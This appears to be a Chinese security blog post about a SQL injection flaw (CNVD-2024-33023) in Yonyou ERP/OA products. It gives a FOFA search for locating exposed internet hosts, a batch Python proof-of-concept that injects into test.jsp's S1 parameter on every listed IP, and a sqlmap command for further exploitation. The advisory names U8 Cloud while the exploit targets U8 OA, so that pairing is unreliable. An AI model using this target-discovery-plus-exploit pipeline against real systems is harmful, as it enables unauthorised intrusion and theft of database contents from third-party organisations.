参考:
一、漏洞介绍
产品:U8 Cloud(用友推出的新一代云ERP)
公开日期:2024-08-11
漏洞编号:CNVD-2024-33023
危害等级:高危
漏洞描述:U8 Cloud 存在 SQL 注入漏洞,攻击者可利用此漏洞获取数据库中的敏感信息。
受影响产品:U8 Cloud
漏洞处置建议:厂商已发布漏洞修复程序,请及时关注更新:修复程序
二、漏洞复现
fofa 搜索
# title="beijing" 通过网站标题进行查询
title="用友U8-OA"
使用脚本将搜索出来的ip报存成一个.txt文件
原文是用github上的一个工具实现,我这里用之前写的脚本实现,
搜索ip脚本的编写教程:Python教程:如何用Python编写FOFA爬虫获取信息?_fofa python-CSDN博客
POC批量验证
这里使用原文作者提供的脚本
import requests
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
ip_list = [] # 用于存放存在漏洞的URL地址
def print_title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mTitle : 用友 U8 OA test.jsp SQL注入漏洞 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mFile >>> ip.txt \033[0m')
print('+------------------------------------------')
def check_vulnerability(target_url) -> bool:
vuln_url = f"{target_url}/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5(1))"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
if "c4ca4238a0b923820dcc509a6f75849b" in response.text and response.status_code == 200:
print(f"\033[32m[o] 目标 {target_url} 存在漏洞 \n[o] 响应地址: {vuln_url} \033[0m")
ip_list.append(vuln_url)
else:
print(f"\033[31m[x] 目标 {target_url} 不存在漏洞 \033[0m")
except requests.RequestException:
print(f"\033[31m[x] 目标 {target_url} 请求失败 \033[0m")
def main():
print_title()
with open('ip.txt', 'r', encoding='utf-8') as file:
ip_data = file.read()
ip_addresses = re.findall(r'\b\d{1,3}(?:\.\d{1,3}){3}:\d+\b', ip_data) # 提取IP:PORT格式
for ip in ip_addresses:
target_url = f"http://{ip}" if not ip.startswith('http') else ip
print(target_url)
check_vulnerability(target_url)
with open("urls.txt", "w") as file:
file.write("\n".join(ip_list))
print(ip_list) # 打印所有存在漏洞的URL
if __name__ == '__main__':
main()
使用sqlmap搜索验证脚本的运行结果
这个工具kali中有,不用自己安装
格式:
sqlmap -u "http://IP:PORT/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5(1))" -p "S1"
免责声明
欢迎访问我的博客。以下内容仅供教育和信息用途:
- 合法性:我不支持或鼓励非法活动。请确保遵守法律法规。
- 信息准确性:尽管我尽力提供准确的信息,但不保证其完全准确或适用。使用前请自行验证。
- 风险提示:技术使用可能带来风险,如系统损坏或数据丢失。请谨慎使用,并自行承担风险。
- 责任限制:我对使用博客内容产生的任何损害不承担责任。
- 第三方链接:博客中的链接仅为方便用户,内容不由我负责。
使用本博客即表示您同意以上条款。如果有疑问,请联系我。